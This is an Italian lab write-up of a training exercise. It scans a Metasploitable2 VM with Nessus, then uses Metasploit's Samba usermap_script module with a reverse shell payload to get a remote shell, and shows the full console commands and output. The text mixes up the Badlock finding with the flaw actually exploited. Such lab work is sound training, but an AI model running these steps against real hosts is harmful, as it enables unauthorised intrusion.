

Build Week

Progetto 4

Introduzione: l'esercitazione ha avuto come obiettivo l'analisi e lo sfruttamento di una vulnerabilità presente sul servizio Samba della macchina Metasploitable2.

Configurazione del laboratorio

- **Macchina attaccante (Kali Linux):** IP 192.168.50.100
- **Macchina vittima (Metasploitable2):** IP 192.168.50.150

Scansione delle vulnerabilità con Nessus

Per individuare i servizi potenzialmente vulnerabili presenti sulla macchina Metasploitable2, è stato eseguito un Basic Network Scan utilizzando Nessus avviato dalla macchina Kali Linux lanciando il servizio dal terminale.

```
(root@kali)-[~]  
# sudo systemctl start nessusd.service
```

In questo modo il servizio viene attivato e l'interfaccia diventa accessibile all'indirizzo: "https://localhost:8834". Dopo l'esecuzione della scansione, Nessus ha rilevato diversi servizi esposti, tra cui Samba in esecuzione sulla porta TCP 445. Il report ha evidenziato la vulnerabilità Samba Badblock, classificata come critica, che interessa le versioni obsolete del servizio Samba. Questa vulnerabilità permette, in determinate configurazioni, di eseguire comandi arbitrari sulla macchina remota senza autenticazione. L'esito della scansione ha quindi confermato la presenza di un punto debole sfruttabile, indicando la porta e il servizio preciso da utilizzare nella fase successiva con Metasploit.

Metasploitable scan / Plugin #90509

[← Back to Vulnerabilities](#)

Hosts1

Vulnerabilities21

Notes1

History1

HIGH

Samba Badlock Vulnerability

Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

Avvio di Metasploit e ricerca dell'exploit

Dopo aver confermato con Nessus la presenza del servizio Samba vulnerabile sulla porta TCP 445 della macchina Metasploitable2, si è passati alla fase di exploitation utilizzando il framework Metasploit sulla macchina Kali Linux.

Dal terminale è stato avviato Metasploit con il comando: “*msfconsole*”

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Use the 'capture' plugin to start multiple
authentication-capturing and poisoning services

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018  es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)

Stack: 90909090.90909090.90909090.90909090
90909090.90909090.90909090.90909090
90909090.90909090.90909090.90909090
90909090.90909090.90909090.90909090
90909090.90909090.90909090.90909090
90909090.90909090.90909090.90909090
.....
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....cccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....
ffffffffffffffffffffffffffffffff
ffffffff.....
ffffffffffffffffffffffffffffffff
ffffffff.....
ffffffff.....

Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aieee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

=[ metasploit v6.4.84-dev ]
+ --=[ 2,547 exploits - 1,306 auxiliary - 1,683 payloads ]
+ --=[ 432 post - 49 encoders - 13 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

Una volta aperta la console interattiva, è stata eseguita una ricerca mirata per individuare exploit relativi a samba con il comando: “*search samba*”. Tra i moduli proposti, è stato selezionato quello più adatto al contesto, ovvero: “*exploit/multi/samba/usermap_script*”.

7	exploit/unix/misc/distcc_exec	2002-02-01	excellent	Yes	DistCC Daemon Command Execution
8	exploit/windows/smb/group_policy_startup	2015-01-26	manual	No	Group Policy Script Execution From Shared Resource
9	\ target: Windows x86
10	\ target: Windows x64
11	post/linux/gather/enum_configs	.	normal	No	Linux Gather Configurations
12	auxiliary/scanner/rsync/modules_list	.	normal	No	List Rsync Modules
13	exploit/windows/fileformat/ms14_060_sandworm	2014-10-14	excellent	No	MS14-060 Microsoft Windows OLE Package Manager Code Execution
14	exploit/unix/http/quest_kace_systems_management_rce	2018-05-31	excellent	Yes	Quest KACE Systems Management Command Injection
15	exploit/multi/samba/usermap_script	2007-05-14	excellent	No	Samba "username map script" Command Execution
16	exploit/multi/samba/nttrans	2003-04-07	average	No	Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
17	exploit/linux/samba/setinfopolicy_heap	2012-04-10	normal	Yes	Samba SetInformationPolicy AuditEventsInfo Heap Overflow
18	\ target: 2:3.5.11-dfsg-1ubuntu2 on Ubuntu Server 11.10
19	\ target: 2:3.5.8-dfsg-1ubuntu2 on Ubuntu Server 11.10
20	\ target: 2:3.5.8-dfsg-1ubuntu2 on Ubuntu Server 11.04
21	\ target: 2:3.5.4-dfsg-1ubuntu8 on Ubuntu Server 10.10
22	\ target: 2:3.5.6-dfsg-3squeeze6 on Debian Squeeze
23	\ target: 3.5.10-0.107.el5 on CentOS 5

L'exploit selezionato sfrutta una vulnerabilità nota nelle versioni obsolete di Samba. Il bug è legato a un errore nella gestione degli script di mappatura utenti (username map script), che permette di iniettare comandi arbitrari direttamente nel processo del servizio Samba. Quando viene lanciato da Metasploit, l'exploit invia al server Samba un input appositamente costruito che non viene correttamente validato. Il risultato è che il servizio Samba esegue il comando fornito dall'attaccante con i permessi del processo stesso, garantendo quindi l'accesso remoto alla macchina vittima senza necessità di autenticazione. In questo laboratorio, al modulo di exploit è stato abbinato un payload di tipo reverse shell, configurato per stabilire una connessione di ritorno dalla vittima all'attaccante sulla porta 5555 della macchina Kali. In questo modo, una volta eseguito l'exploit con successo, l'attaccante ottiene una shell remota sulla macchina Metasploitable2, da cui è possibile impartire comandi come se si fosse in locale.

Configurazione dei parametri e utilizzo dell'exploit

Dopo aver scelto il modulo, è stato necessario configurare i parametri principali per indirizzare correttamente l'attacco. Nella console di Metasploit sono stati inseriti i seguenti comandi:

```
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.50.150
RHOSTS => 192.168.50.150
msf exploit(multi/samba/usermap_script) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf exploit(multi/samba/usermap_script) > set LPORT 5555
LPORT => 5555
msf exploit(multi/samba/usermap_script) > █
```

RHOSTS: indica l'indirizzo IP della vittima (192.168.50.150).

LHOST: indica l'indirizzo IP della macchina attaccante (192.168.50.100).

LPORT: definisce la porta di ascolto del payload sulla macchina attaccante (5555).

Con il comando *"exploit"* si avvia l'attacco, Metasploit apre una shell remota e consente di impartire comandi direttamente sulla macchina compromessa. Per verificare di avere effettivamente controllo sul sistema target, è stato eseguito il comando *"ifconfig"*. L'output mostrato dalla shell remota ha confermato che la connessione era stata stabilita con la macchina vittima, restituendo i dettagli di rete della sua interfaccia.

```
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.50.100:5555
[*] Command shell session 1 opened (192.168.50.100:5555 → 192.168.50.150:42563) at 2025-09-04 04:03:34 -0400

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:34:20:ac
          inet addr:192.168.50.150  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe34:20ac/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:45 errors:0 dropped:0 overruns:0 frame:0
          TX packets:80 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3618 (3.5 KB)  TX bytes:11040 (10.7 KB)
          Base address:0xd020  Memory:f0200000-f0220000
```